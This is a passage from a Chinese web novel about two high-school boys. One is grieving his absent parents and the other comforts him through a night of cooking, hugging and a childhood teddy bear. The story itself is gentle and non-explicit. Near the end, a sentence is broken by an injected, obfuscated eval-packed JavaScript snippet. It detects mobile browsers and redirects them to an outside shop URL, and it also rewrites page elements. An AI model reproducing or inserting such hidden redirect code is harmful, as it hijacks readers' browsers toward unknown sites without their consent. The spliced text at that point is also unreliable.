“无条件,”桑群把纸拍在阮牧年桌上,看着他的眼睛,“支持。” 阮牧年含笑收下兄弟的友情票。 周五下午的两节课都是自习,刚开学没两天,老师不在,班上秩序混乱一片。 身旁的座位空着,阮牧年看了一眼就收回视线,也懒得去管理班级,翻开一本练习册写着。 坐在前面的刘嘉完全没有写作业的心思,东张西望了一会儿,扭头转向了后座认真学习的代班。 “哎,牧年,你想当哪个职位啊?我纸条现在都还没写好呢,眼看就要截止了……” “最好不投我,”阮牧年边写边说,声音亲和温柔,“我可不想再干这些苦差事了啊。” “但投你的人应该很多吧,毕竟这么受欢迎,”刘嘉叹气,“不投你我还能投谁呢?” “桑群呗。” “六爷啊……他,他这,他还是算了吧,”刘嘉摇了摇头,“他肯定不想当什么班委,万一以后被他知道这其中还有我一份助力,那就完蛋了……” 阮牧年听笑了:“我倒是很好奇,为什么他是‘爷’,我却是‘哥’?” “害,牧年你至少还能说得上话,六爷他……呃,”刘嘉顿了顿,张望了一圈确定桑群短时间内不会回来,才压低声音继续说下去,“那可不是个好说话的主啊,大爷似的,我赌压根没人能跟他聊天超过十句。” “哈哈哈。” 阮牧年心说,怎么会,桑群私底下的“哦”全算上都能超过十句了。 “所以……”刘嘉小心翼翼地发问,“可能有些冒昧,但我还是想问,你们俩……是不是有什么矛盾啊?” “嗯?”阮牧年抬了下眼,“没有啊,我和他关系还不错吧。” 是不错,刘嘉心里吐槽,坐一起几天了还没打起来,每天话都说不上两句,一回头就是一个睡觉一个去老师办公室了,关系能不融洽吗? “话说,你为什么要推荐桑……呃,他当班委啊,”刘嘉摇头换了个话题,“怎么看都像是在,啊,我可能说得不准确,针对?挑衅?呃……” 最后一步解出来,阮牧年放下笔,也凑了过去,神秘地压低声音:“这事可没那么简单,想听点内幕消息吗?” 八卦谁不想听,刘嘉连忙点头:“说说说。” “你看咱们张老师,年纪不大就当上班主任,什么对她最重要?” “什么?” “当然是明星班主任评选了,”阮牧年眨眨眼睛,“那你想,什么是她评选的最大阻碍?” 刘嘉瞪圆眼睛:“桑……!” “嘘,”阮牧年竖起食指示意他低调,然后继续说,“所以说啊,她肯定会采取措施来整治班里的不良风气,但她要是直接管教,遭殃的是谁?” 刘嘉痛心疾首:“是我们广大人民群众!” “没错,但如果把桑群送到老师眼皮底下去了呢?”阮牧年循循善诱,“老师直接向下管理,班委跟我们普通同学总归是要区别对待的,那不就不会殃及池鱼了吗?” 刘嘉恍然大悟:“高,实在是高。牧年你这波操作简直是在大气层啊!” “低调低调,”阮牧年笑着挥挥手,“当然要为我们大家的福利考虑了,所以千万不要投我呀,去投桑群。” 刘嘉点头:“我悟了。” 前桌继续写他那小破纸条了,阮牧年脸上的笑意渐渐淡下,大拇指指甲搓着中性笔表面脆弱的涂漆。 刚刚说的不过是随口编的理由,想少一个人给自己投票罢了。 作业已经做完了,开学第一周周六不上课,明天该做点什么好呢? 桑群还没回来啊。 现在……是不是快到月底了? 还有多久下课呢? 今晚做什么吃好呢? …… 阮牧年构思了两节自习课的大餐,被一通电话搅没了。 桑群的声音在电话里有些模糊:“太忙了,我估计会很晚……或者不回来了,你先自己做点东西吃。” “那你别回来了,留门挺麻烦的,”阮牧年说,“明天一起去图书馆吗?” 电话那边有一阵没回应,嘈杂的背景声渐渐弱化,桑群的声音重新清晰起来。 “不了。” “行。” 阮牧年挂了电话。 看来今晚不需要起锅了。 没人一起吃饭的时候,哪怕会做饭,他也懒得去煮。 阮牧年啊阮牧年,怎么离了桑群就这么废呢? 虽说是留门麻烦,但阮牧年清楚,桑群深夜赶回来更麻烦。 不如让他回自己家睡。 那么今晚的晚饭……他走到书桌旁翻了翻橱柜里的零食,一杯酸奶一袋面包,足够了。 明天又是一个人去图书馆啊,干脆把下个单元都预习一遍吧,今晚可以睡床了,是好事,在沙发上看会儿电影吧…… 昏暗的室内,只有投影屏幕发出幽幽的白光,阮牧年忍着无聊看了半小时,最后还是关掉了。 客厅顶灯散发着晃眼的白色灯光,看久了有些过曝过亮,出租屋里很安静,窗外也是,周围大部分是短期租户,给学生午休歇个脚这种,到周末基本都回家了。 今晚连风声都没有,蝉也早歇了。 无聊……难道只有去睡觉吗。 一旁的手机传来震动,阮牧年没敢去看,明明还没到月底,为什么要提前呢? 而且今年……是最后一年了吧。 手机又震动了一下。 阮牧年深吸一口气,把它丢进沙发的被褥里。 去床上做点仰卧起坐平板支撑俯卧撑俄罗斯转体什么的好了,运动累了就可以直接睡着了。 不要多想不要多想。 不要乱想。 运动催眠虽然累,但见效确实快。 阮牧年直接睡到第二天大中午。 洗漱完他绕到沙发边上,没人。 桑群果然没回来。 手机还在酣眠,阮牧年想了想,没带上它,随便应付两口午饭就拎着书包出门了。 市图书馆是11路车,夏令时一人2元,站台是靠学校这一侧的那个。 顺利抵达图书馆,今天就先学个昏天暗地的吧。 沉浸式学习确实很消磨时光,阮牧年顺便摸去小说区翻了几本赏读。 话说,桑群看的书是从这里借的吗? 阮牧年尝试在查阅机上搜索“儿童心理学”,结果跳出几百条结果,甚至还有大学教材。 ……所以果然是在骗他的吧。 以桑群的性格,看见这搜索结果估计直接就走人了。 又翻了一会儿书,阮牧年算着公交车的发站时间,搭上11路回来。 走到熟悉的巷口,远远能看见出租屋的门前站着一个人。 阮牧年眼睛亮了亮,快步走过去,掏出钥匙开门:“你回来了?” 桑群的脸色不是很好,眼皮一掀眉心皱起:“你去哪儿了?” “图书馆啊,不是跟你说了。” 阮牧年推开门走进去。 桑群在他身后问,冷淡的嗓音像在忍耐什么:“为什么不接电话?” “嗯?”阮牧年放下书包,解释道,“啊,我出门忘带手机了,你什么时候打……” “你一个人出门,”桑群上前两步逼近他,脸色阴沉,“不带手机,是没常识吗。” “有谁规定出门就得带手机吗,”阮牧年被他问得有些烦了,也蹙起眉头,“忘了就是忘了,你这么凶干什么?” 桑群后牙缓缓磨动,眯起眼睛想再说点什么。 阮牧年直接把人推开,走去厨房:“我下次会注意的。今晚想吃什么?” “不用煮我的。” 阮牧年脚步一顿,站在原地没动:“什么意思?” “我在外面吃过了,”桑群说,“你煮自己的就行。” “那你还回来干嘛啊,”阮牧年笑了,指尖不自觉地抽动了两下,“你明天再回来呗。” 桑群:“什么?” “回来一趟多麻烦啊,既然吃过了回家休息不是更舒服吗,我……” “阮牧年,”桑群站到他身后,抓住对方的肩膀想要他转过来,“你到底……” “别碰我!”阮牧年甩开他的手,往旁边避了一步,压低眉毛看着他。 桑群的手停在半空,掌心还停留着刚才的触感。 好像是……很轻微的颤动。 天色近晚,两人进门还没来得及开灯,灰蒙的光线里看不清彼此的表情。 屋内沉默了一阵,才响起阮牧年低低的声音:“……我没有怪你,我只是……” “到底发生什么事了?”桑群缓下声调问。 “没什么,就是刚刚气不顺所以……” “你知道我不是在问这个,”桑群黑沉的眸子静静看着他,剥去拒人千里的冷漠后尽显温柔,“有什么事是连我都不能告诉的么。” 鼻腔骤然涌上一阵酸痛,阮牧年咬着牙掩饰颤音,破绽百出还在挣扎:“说了没什么事……” “阮牧年!”桑群陡然拔高音量,“你想打一架吗?” “吼我干什么!”阮牧年推了他一把,眼尾泛红,“你不是很敏感吗心理学家?质问我算怎么回事?” 桑群抓住他的手腕,默了默问:“没几天就月底了,他们跟你说了什么?” “……我不知道。” “阮牧年。” “不知道就是不知道!”阮牧年甩开他,“你去问他们啊,我什么都不知道。” 桑群皱眉换了个问法:“你手机在哪?” “……” “你真想动手是吧?”桑群朝他走来,语气逐渐烦躁,“我乐意奉陪。” 阮牧年犟到桑群站在他面前难以再前进,才背过身小声说:“……沙发。” 身后某种很熟悉的气息离开了,阮牧年握了握拳,又加了一句:“……不要告诉我,我不想知道。” 桑群拿起沙发里的手机,他们俩用同一个密码,锁屏很快解除。 杂七杂八的推送里只有三条新消息。 一条是打款通知,剩下两条是来自他自己的未接来电和未读消息。 外面亲和友善的好学生看着人缘极好,实际上没几个朋友。 没人会在周末跟他一起去图书馆,也没人会邀请他出去玩。 大家默认他很受欢迎,以为根本约不到,便从一开始就不会打扰。 只有桑群。 会在任何不合时宜的时候去打扰他。 但…… 桑群熄灭手机屏幕,回头去看某个还在面壁的倔种:“还不打算说吗。” 阮牧年的声音闷闷的:“你都看了还问?” “没看出来,”桑群走过来靠近他,“就看见我的未接来电和消息。” 阮牧年嗤了一声,站在原地没动。 桑群捉起他紧握的手,掰开手指放进掌心里。 阮牧年用力地抓住他。 “你说吧,”他垂着眼,“我也不是……完全不想知道。” 明明早就料想过会有这么一天,但还是害怕亲自去触碰那个事实,想着再多躲一阵,避开一点,或许事情就不会发生。 或许可以躲一辈子。 但现在,桑群站在他身边,那张喜怒不形于色的脸总是带着某种莫名的安心。 有人陪着……也许会更好接受一点。 桑群没有委婉:“阿姨多给你打了几个月的生活费。” 阮牧年手下骤然抓紧:“……几个月?” 桑群没再回答。 但他们心知肚明。 是从现在,到阮牧年满18岁那一个月的,所有抚养费。 原来,昨天就是最后一次了吗…… 阮牧年眨了眨眼,睫毛有些痒,好像有什么东西蹭了过去。 下一秒,他的脸就被桑群扶起来。 温热的触感从脸颊滑下。 是泪啊。 多久没流泪了?他记不清了,毕竟自己一直在扮演懂事早熟的形象,逢人三分笑,永远游刃有余。 阮牧年怎么会哭呢?他一直都是个懂事的好孩子啊。 他提了提嘴角,想笑,却挤压出更多泪水。 “我没事,我就是……”桑群沉静的眉眼在视野里一遍遍模糊,阮牧年试图压下哭腔,“我……” 脸边一空,紧接着后背被一只手掌压住,阮牧年被按进一个宽大温暖的怀里。 “别笑了,”明明是一如既往没什么感情的冷淡嗓音,落进耳里却徒增宽慰的意味,“哭就好好哭。” 在桑群面前,阮牧年还需要是什么样的阮牧年吗? 不需要的。 怎么自在怎么来。 阮牧年埋在熟悉的肩窝里,再也抑制不住情绪,抓着桑群身后的衣料,发泄式地痛哭出声。 桑群按着他不断颤抖的背肌,抿着唇沉默陪伴。 没有任何人有资格去安慰这种时候的阮牧年,连他也不行。 有些坎不是别人 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“没有人有错,”阮牧年说,“道理我都明白,可为什么最难受的人是我?为什么难过的只有我?” 父母在最相爱的时候诞下他,又在情感破裂的时候及时分开。 他们各自遇到了真正相爱的人,会重新组建更加幸福的家庭。 那他呢? 阮牧年又该是谁的孩子,又该在哪个家庭落脚? 他属于哪里? 还是像这些年一样,在各种亲戚家里寄居,在别人的阖家欢乐里流浪。 直到成年的巨浪将他席卷,彻底变成茫茫人海中的一叶孤舟。 早早二婚的父亲已经许久未曾联络,跟母亲的联系也仅限每个月打款时的三两寒暄。 他是所有大人眼中的好孩子,省心、懂事,所以不需要交付更多的关注和爱。 他在别人家听过最多的一句话就是“你能不能像阮牧年一样懂事”,但他并不高兴,因为没有人会对他说一句“你能不能向别人学学”。 他是别人眼中模范的终极,也是自己孤独的终极。 突然间高涨的生活费,放在别的孩子身上大概会兴高采烈,他却仿佛听到了刑罚宣判。 那象征着他不用等到成年,就已成为了孤儿。 又或者,在很早以前就是了。 只是他不愿承认,不愿多想,放任自己在虚无缥缈的象牙塔里幻想。 欺骗自己到对疼痛麻木,才恍然早已无人为他遮风挡雨。 他试图用早熟懂事搭起一座通向父母的桥梁,可单方面的期许支撑不起爱的份量,没有回应的期待永远只能中道崩殂。 眼泪似乎流不尽,像是在倾泄他这些年所有的委屈与不甘,可它们注定没有去处,只能被桑群的衣料短暂接纳。 “我想,那就试试一个人生活,有什么大不了的……”阮牧年吸着鼻子道,“可我、可我果然做不到……没有你,我根本做不到……” 桑群低声问他:“你昨晚有没有吃饭?” “吃了,不是饭……” “今早呢?” “午、午饭跟昨晚差不多……” 桑群叹了口气。 没人看着就犯懒的家伙,把他一个人丢下还能活到现在真是奇迹。 “今晚得吃点东西,”桑群扯了扯挂在身上的胳膊,“我去做。” “能、能吃吗?” “闭嘴,再难吃也得咽下去,”桑群扯不掉身上的狗皮膏药,有些无奈,“你是不打算下来了吗。” 阮牧年蹭了蹭,抱得更紧了:“再抱一会儿……” “牵手,炒菜的时候再给你抱。” “啊……好吧。” 阮牧年抬起头的时候,整张脸被压得红红的,桑群伸手帮他揉了揉:“蹭得很干净,都不用纸了。” 阮牧年心虚地看了眼他的T恤:“你自己的衣服要自己洗啊。” “让你洗我疯了吗,”桑群调整好十指相扣的姿势,牵着人站到冰箱前,“想吃什么?” “想吃面。” “……我不会。” “方便面?” “吃点健康的。” “底下还有一捆手工面,”阮牧年指了指冰箱下层,“捞熟了就能吃,不难,我教你。” “哦,”桑群半蹲下去拿面,“加蛋?” “……想吃肉。” 桑群:“……捞熟了就能吃?” 说好的简单呢?哭成这样就可以为难他了吗? 旁边人没接腔,桑群侧目看过去,阮牧年的目光有些涣散,似乎在盯着自己最熟悉的冰箱发呆。 “要不还是我自己来……” “不,”桑群果断拒绝他,“你自己能煮给自己吃,我为什么不明天回来?” 阮牧年愣了一下,难得破涕而笑:“在这等着我呢?” “对不起,”桑群忽然凑近,用他最惯常安慰人的动作——鼻尖相蹭——然后道,“昨晚本来能回来,但你说不准备留门,我就没回了。” “我真的没有留门,”阮牧年说,这种小动作他很受用,让他有种被呵护的感觉,“你来也进不了门。” “嗯,”桑群捏了捏他的手指,“先这么吃,太复杂的我也不会,明天一起出去吧。” “明天不忙吗?” “嗯,不是因为你,本来就没事。” “我不会那么自作多情的。” “那我希望你会,”桑群看向他,“想去哪里你定,图书馆也行,然后就不回来吃了。” “突然这么好说话,”阮牧年挑了挑眉,“不像你啊。这是在可怜我吗?” 桑群凑到他耳边,悄悄说:“是因为发了奖金。” 阮牧年笑了:“那我傍上大款了?” “嗯,”桑群点头,单手打水,“大款下厨,且吃且珍惜。” 阮牧年咂嘴:“那我还是少吃为妙。” 桑群重重捏了一把他的手,唇角浮现淡淡的笑意。 起锅的时候,阮牧年圈着桑群的腰,趴在他肩上看他煮面。 “火大了,小点小点。” “哦。” “油差不多了,倒水。” “哦。” “捞啊,用筷子捞,锅铲捞得起来吗?” “……哦。” 好不容易勉强出锅了,阮牧年皱了皱鼻子:“油都溅我手上两次了,你好会煮饭哦。” 桑群:“……” 桑群:“烫伤你了?” 阮牧年向他展示自己的红眼圈:“烫哭了都。” 桑群捏了捏他的脸蛋:“去吃面。” 5. 05 虽说桑群的手艺不至于炸了厨房,但顶多就是勉强下咽的程度。阮牧年边吃边叭叭,评头论足,桑群坐他旁边,听烦了就重重捏一下手指。 尽管嘴上十分嫌弃,但还是老老实实吃完了整碗面,毕竟快一天没进食过正常食物了。 阮牧年瘫在桑群身上:“不想洗碗。” 桑群:“那就让它发霉。” 阮牧年笑了:“我的意思是你去洗啊。” “我煮的为什么要我洗,”常驻洗碗工桑群终于抬起了头,“不干。” “嗯……”阮牧年现在也不想去管一只碗的命运,“今晚洗澡吗?” “你黏成这样,”桑群抓了抓他的手,“洗得掉吗?” “啊,”阮牧年声音低了低,“那去睡觉吗?” “昨晚睡得怎么样?” “挺好的,一觉天亮。” 桑群不太相信,掰过他的脸:“真的?” “没骗你,”阮牧年说,“做了点睡前运动,睡得很好。” “嗯?”桑群挑起一边眉。 阮牧年顿了顿,没忍住笑了:“你这什么脑回路啊,为什么总能想到一些废料?” “睡、前、运、动,能有多正经?”桑群一字一顿,“我又不纯洁。” 阮牧年笑得一抖一抖的:“别人知道你这么好色的嘛?” “没,”桑群挠了挠他的脸,“就你。” 阮牧年笑了一会儿,翻了个面改趴在桑群身上,两条手臂圈着桑大抱枕。 察觉到怀里人又有些情绪低落,桑群拨了拨他的头发,企图转移注意力:“头发有些长了。” “桑群……” 阮牧年好像低声说了一句什么,音量太小听不清楚。 桑群低下头凑近他:“什么?” 阮牧年抓紧他的衣服——这件衣服今天真的多灾多难——闷闷开口:“……为什么我们不是兄弟呢?” 桑群怔了怔。 “如果我们有血缘关系就好了,”阮牧年埋着头胡言乱语,“你叫阮群,或者我叫桑牧年,我们血浓于水,永远是彼此的家人,永远也不会分开……” 只有在桑群这里,阮牧年能得到自己多年求而不得的东西。 可他们不可能一直生活在一起。 如果是亲兄弟就好了,有血脉作为纽带,他们就能被永远联系在一起。 他也就……拥有了真正的家人。 桑群半晌没说话。 阮牧年说到一半就收了声:“我随便说说,你不用当真……” “你觉得,”桑群说,“我们会分开吗?” “总会有那么一天的吧,”阮牧年故作轻松地说,“大学啊工作啊,当然不会一直待在一起了。” “从认识到现在,我们分开过吗?” “……” 没有。 的确,没有。 他们是同级,有时甚至是同班,就算是放假,阮牧年也会经常去桑群家串门。 他们熟悉得宛若亲兄弟,这也是阮牧年遗憾的地方,因为宛若只是宛若。 “情况不一样,”阮牧年说,“我们又不会一直留在这里……” 绞在一起的双手忽然被人掰开,桑群依旧面无表情,但阮牧年感觉他有些生气。 自己说的话确实过分,可就好像撕掉结痂会上瘾一样,既然都要痛,早痛晚痛有什么区别? 他已经承认自己失去了父母,再去接受将来会失去朋友、兄弟,也没什么大不了的。 “阮牧年。” 桑群不爱叫他的名字,他曾说过念全名对被称呼的人来说很有冒犯感,除非桑群本人确实带着冒犯意味。 今天他已经叫了自己的名字四次,都是在不太高兴的状态下。 果然还是惹到他了,阮牧年在心里叹气:“干嘛。” 桑群把他从自己身上掀起来,按到沙发背上。 靠都不让靠了。 阮牧年抿了抿唇。 桑群伸出手摸了摸他的脸颊,泪痕已经不明显了,但眼角依然透红。 “他们让你失去爱的能力了吗,”桑群低声问道,“连是否有人会为你留下都不再奢望了吗。” 阮牧年一怔:“什么?” “为什么会觉得自己不值得?”桑群轻轻抚摸他的脸庞,“他们的选择证明不了什么,你不要做任何人的附庸。” “可我想成为附庸,”阮牧年说,“我想在提起某人的时候,心里有种无与伦比的优越感,因为我比任何人都更熟悉他;我想在回顾一切的时候,不用去反复咀嚼孤独的苦涩;我为什么不能是谁的附庸呢?我注定被抛弃吗?” 明明每个字眼都戳着心尖发出,阮牧年却感觉不到多少情绪,几乎是非常平静地说完。 他不知道自己是否失去了爱的能力,但他好像……真的失去了感知疼痛的能力。 桑群没有回答他,换作别人也回答不了。 不过是发发牢骚,阮牧年没奢求真的得到回答。 可桑群虽然没说话,却慢慢朝他靠近。 又要贴鼻尖吗,也是,嘴笨的人只能想到这么点安慰人的手段了。 阮牧年看着那张脸在自己眼里放大,然后缓缓上移。 好像有哪里不对,这是要…… 桑群轻柔地吻在他额心。 阮牧年呆在原地,瞬间宕机。 “据说每个孩子都有爱人的能力,父母是他们最合适的引导者,”桑群轻声开口,“没被引导的孩子反而会对情感更加敏感,这是对他们体会爱的补偿。” 什么啊。 他在说什么。 “我不觉得你感受不到,”桑群说,“他们没有尽到自己应尽的责任,这是他们的失职,不该是你的过错,也从来不是你的原罪。你明白,只是不甘心。 “但跑到我面前哭诉自己一无所有,这是在做什么呢?” 啊。 他不知道。 “年年,”许久未闻的昵称从眼前人口中冒出,桑群摸了摸阮牧年的头发,告诉他,“父母又不是必需品,总会有人去爱你。” 阮牧年又想哭了。 为什么今天的眼泪格外多且难以控制呢?是因为他已经彻底把心里负责防卫的壁垒撬开,所以任何细微的触动都会引发阀门失控吗? 又或许答案很简单,因为在他面前的人是桑群。 所以无需掩饰,也无需忍耐。 阮牧年揪住桑群的衣领,嗓音不自觉沾上哭腔:“包括你吗?” “嗯,”桑群说,“包括我。” 鼻尖骤然一酸,阀门果然失效了,阮牧年完全无法自控。 “所以不是亲兄弟也没什么不好的,”桑群耐心地帮他擦拭眼泪,“残酷地说,血脉从未带给你想要的,是不是?拿它当纽带太脆弱了,年年,只有爱能联系人们,也只能是爱。” 阮牧年咬唇扑进他怀里,泪水尽数蹭到桑群侧颈上。 “换句话说,我们难道还不算兄弟吗,”桑群温柔地拍着他的后背,“我一直追着你的背影长大呢。” “你又不认我。”阮牧年闷闷道。 “没有,”桑群说,“你将我照顾得很好,哥哥。” “……再叫一声。” “得寸进尺啊。” “桑桑……” 亲昵的叠词令桑群头皮发麻,他瞬间妥协:“知道了,哥哥。” 阮牧年从他肩头抬起脸,定定地看着桑群:“你……” 开了头却说不下去,阮牧年忍不住视线乱瞟。 “嗯?”桑群捏着他的脸蛋,没有催促,说起另一件事,“今晚一起睡吧。” 阮牧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356283|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年瞬间瞪圆眼睛:“真的?” “嗯。” “像以前那样?” “当然。” “你不嫌弃单人床了?” “抱着睡勉强能接受。” “桑桑桑桑桑宝,”阮牧年双手捧着他的脸揉了好几下,“哥哥爱你!” 桑群偏过脸不让他动手动脚:“肉麻。” 阮牧年勾着他的脖子:“你现在还抱得动我吗?” 桑群不语,只是一味发力托抱起他。 “哇。” 盘腿挂在桑群身上,阮牧年不由想到,面对面抱人的姿势往往常见于那些带娃出门的大人身上,他们会以环抱的姿势给予孩子安全感,又用高阔的视野维护他们稚嫩的好奇心和探索欲。 只是这种经历对于他而言,从记事起便可望不可求。 据说有些大人还会让孩子骑在自己的脖子上,做他们征服世界的“大马”。但阮牧年那时还不知道这种捷径,面对看不见的风景,他只能努力踮起脚尖、努力长大,用笨拙的方式去追逐别人哭闹一声就能看见的风景。 他长得很高很高,终于有能力去看想看的风景,却也永久失去了被托举起来的资格。 身上的人又忽然安静,桑群拍了拍他的屁股:“年年?” 阮牧年回过神,在桑群头顶蹭了蹭,蹬腿下地,重新张开手臂:“我也试试。” 两人身高相仿,桑群拒绝八爪鱼式的拥抱,阮牧年围着他比划了半天,最终一弯腰采用了最能维护对方面子的公主抱。 双脚离地的瞬间,桑群向来冷淡的脸色难掩惊愕。 阮牧年甚至还把他往上颠了颠:“还行,你不重啊。” 桑公主躺在他怀里抱臂冷讽:“那你别手抖。” “没抖,我还能抱着你去跑马拉松呢。” “骗鬼。” “桑群,”阮牧年正着头斜睨他,“我好看吗?” 桑群:“?” “他们说从下巴看人是死亡视角,”阮牧年说,“你评价一下。” 桑群:“丑死了,小花猫。” 阮牧年嚷嚷:“我要把你摔地上了!” “腿都动不了的人,”桑群说,“甩得掉我吗。” “谁说的?” 阮牧年立时在客厅走了三个来回,气都不带喘的。 “厉害,王子殿下,”桑群没想折磨他,主动抱上他的脖子缓解对方压力,“那送我入寝吧,我会自己盖被子。” “哼哼。” 顺利躺到床上,阮牧年正要一起爬上来,却被桑群一脚踹开:“去洗脚。” “那你呢?” “你先去,脚也要我帮忙洗吗?” “我感觉没多脏……” “你今天出门了,图书馆,少说几公里,”桑群眯了眯眼,“不洗滚沙发睡去。” “我又没运动,也没出汗……” “你走路了。” “……” 阮牧年撇了撇嘴,不情不愿地挪去卫生间。 桑群半躺着看他进了厕所门内,暂时看不见外面的场景,才下了床悄悄摸去玄关。 阮牧年孤独地洗脚,有种被迫接受戒断训练的郁闷,想到待会儿桑群还得过来洗一下,把自己丢在床上,更是一阵不爽。 干脆打盆水出去让他在卧室洗得了。 然而当他端着脸盆走出来,卧室的门半开,床上却没有桑群的身影。 阮牧年连忙把脸盆原地放下,跑到卧室内:“桑群?桑……” 他的目光环视室内,触及床头柜边时骤然一顿。 一只有些老旧的毛绒熊布偶坐在地上,歪着脑袋,光滑溜亮的黑珠眼睛看着他。 一道封存在记忆深处许久的熟悉声音响起,瓮声瓮气:“好久不见,年年,你想我了吗?” 6. 06 阮牧年怔怔地看着那只有他大腿高的玩偶,嗓音发紧:“……团团?” “看来你还记得我,真令熊高兴,”团团欢欣地说,“我不在的这些年,你过得怎么样?” 阮牧年慢慢地走到床边,蹲下伸手去抚摸这只童年玩伴。它的毛色已经不如幼时般鲜亮,但触感依旧如记忆中一样柔软舒适,从那双黑到透亮的眼珠里,似乎能看到某个稚嫩孩子的身影。 他不知道该怎么回答这个问题,正如逃避昨天那条消息一样,时常回顾过去只会徒增痛苦,所以他很少做这类总结,强迫自己把目光放在当下和未来。 小熊没有催促他,只是在长久的沉默后轻轻开口:“……我明白了。久别重逢,不来一个饱满的熊抱吗?” 阮牧年没有犹豫,将小小的玩偶抱了个满怀。 团团发出被挤压过的低低笑声:“我就知道,你最喜欢拥抱。” “你是怎么过来的?”阮牧年发问,满腔酸涩几乎要溢出来,他只好转移话题分散自己的注意力,“团团,你的腿不是受伤了吗?” “确实有些不方便,但我搭上了顺风车,”团团说,“司机是那个跟你打架的小孩,阿君羊。多年不见,他居然做了司机,太不可思议了。” 阮牧年被它逗笑:“好多事情都不一样了,但我还是会在梦里想念你。” 团团没有问他为什么清醒的时候不想念,只是说,“那真是太棒了。梦是浪漫的集合体,你的挂念是爱我的表白,我很高兴。” 阮牧年把脸埋进玩偶不知是否干净的毛绒里,重重地点了点头。 团团又问:“那我和阿君羊,你更爱谁?” “当然是你,团团。” 团团高兴地笑了笑:“没有白疼你。”紧接着,阮牧年的后颈被人提溜起来,桑群幽幽的冷淡嗓音凑近:“脏不脏就乱贴,我还比不上一只熊吗?” 阮牧年抬脸的瞬间,桑群短暂愣了一下。 少年哭过的眼尾红晕还没散,水洗过的眸子清澈透光,他的脸依然有些红红的,很凄惨的样子,唇角却在笑。 桑群分辨得出来,这不是他平日里委以虚蛇的假面,而是真情实感的欣然。 阮牧年把据说很脏的脸蹭在桑群的衣服上,被嫌弃推开后转了个身,后背靠着桑群倒在他怀里,然后高举熊熊玩偶,问它:“团团,你说阿君羊坏不坏?” 桑群反驳:“哪里坏?” 团团没有说话,只是看着他,或许被他身后阿君羊阴冷的眼神震慑了。 阮牧年不畏强权,往后肘击了桑群两下,又晃了晃团团:“坏不坏啊?” 桑群不情不愿地闷着嗓子:“……坏。”随即又切换回自己的本音:“不可能,别被它骗了。” 阮牧年笑起来,抱紧团团躺在桑群怀里发呆。 他的声音有些放空,像浮在空中,尾音微凝:“……谢谢。” 桑群追问:“谢谁?” “谢谢我最爱的团团……”腰部被人捏了一把,阮牧年后半句的话音染上笑意,“还有它身后的那个男人。” 桑群轻哼一声:“这还差不多。” “你去洗吧,”阮牧年捏着小熊绵软的爪子,一副漫不经心的样子,“我打了盆水放卫生间门口了,再晚点就凉了。” 桑群反复打量他黏在玩偶身上移不开的目光,以及没有丝毫挪动意向的上半身,强烈怀疑自己是不是夸早了。 他推了阮牧年一把:“去床上躺着。” 阮牧年听话上床,没分给他半点眼神。 “……” 桑群感觉这是在给自己找气受,出门去洗了个战斗脚,把外面的残局简单收拾了一下,锁好大门关好灯,才重新回到卧室。 然而踩他上位的团贵妃并没有躺在那昏聩的皇帝怀里,而是被放在床头柜上,摆出一个可爱迷人的坐姿。 床上的被子鼓起来一团,被子外却找不到半颗脑袋。 桑群屈膝压在床垫上,轻轻掀开一点被边。 被子忽然高高蹿起,仿佛一只蛰伏已久的猛兽,嗷呜一口把毫无防备的桑群小人吞吃入腹。 桑群摔倒在一双有力的臂弯里,很快又被两条长腿缠住,耳边响起邪恶笑声:“你没有识破怪物的伪装,已经掉入了陷阱!现在,喊破喉咙也不会有人来救你……” 桑群:“哦。” 阮怪兽顿了顿,继续恐吓他:“我的意思是,你已经完蛋了知道吗?乖乖做我的……” 桑群无所畏惧,一口亲在了他脸上。 阮牧年瞬间僵住,拉下被子让两人脑袋重见天日:“你、你干嘛……” 桑群一脸理所当然:“我看到你亲团团了。” “我就是蹭了一下……” “那我也是蹭了一下。” “……” 桑群捏了捏他微微发烫的脸颊:“乖乖做你的什么?” 阮牧年抿着唇看他,然后抱上来:“做我的专属抱枕,任我蹂躏。” 桑大抱枕点点头,接受了自己的新身份:“好。” 阮牧年埋在桑群的颈窝里,嗅着那股熟悉的令人安心的冷调草木味。 “桑群……”他说得很郑重,没有开玩笑的成分,“真的……谢谢。” 桑群轻轻拍着他的后背:“见外。” “这样睡的话,”阮牧年没动,却说,“明天醒来会酸痛的吧。” “那你起开。” “不要。” 桑群挠了挠他的侧脸,无奈道:“你真的叫‘软不黏’吗,应该叫‘软特黏’吧。” “我是黏群板,专门用来捕获野生桑群。” “野生的都灭绝了,只剩下一个家养的,怎么办?” “那就去偷,偷到了狠狠缠住。” “傻不傻,”桑群揉着他后脑勺顺软的头发,嗓音逐渐放低,“自己家的还要偷。” “嗯……”阮牧年的声音也逐渐涌上倦意,“自己家的……更要缠住……” 桑群把人往怀里按了按,伸长胳膊去关床头的电灯按钮。 阮牧年揪着桑群的睡衣领口,喃喃道:“要……那个……” 桑群把两人的被子重新盖好,拢着阮牧年的脑袋:“刚刚不是给过了吗。” “那个不算……” 桑群叹了口气,低头把怀里人凌乱的额发拨开,轻轻烙下一吻:“晚安,年年。” 阮牧年蹭了蹭,也在桑群锁骨处亲了亲:“晚安,桑桑。” 少年人的身体温热柔软,无声的夜里他们相拥而眠,夜幕柔和模糊了许多尘嚣,只剩下彼此浅浅的呼吸交织,漾开梦的前奏。 桑群久违地梦见了多年前的往事。 那是四岁,他还在上幼儿园的时候,在楼房后面捡到了一只小哭包。 小学之前的记忆他许多都记不清了,那个时候年纪太小,生活也足够轻松琐碎,反而没什么记忆点。 还在读幼儿园的桑群小朋友是班级里人皆远之的小恶霸,因为他非常顽皮,手贱嘴毒,屡教不改。 老师和阿姨拿他很头疼,就怕他哪一天跟其他小朋友打起来。 小桑群并不放在心上,在所有小男孩的心目中,或许都有一颗觉得自己打架超厉害的自尊心。 那天他不想午睡,趁着阿姨不注意,偷偷溜出午睡区,跑到外面转悠。 路过厕所的时候,里面似乎传来一声奇怪的响动。 是老师吗? 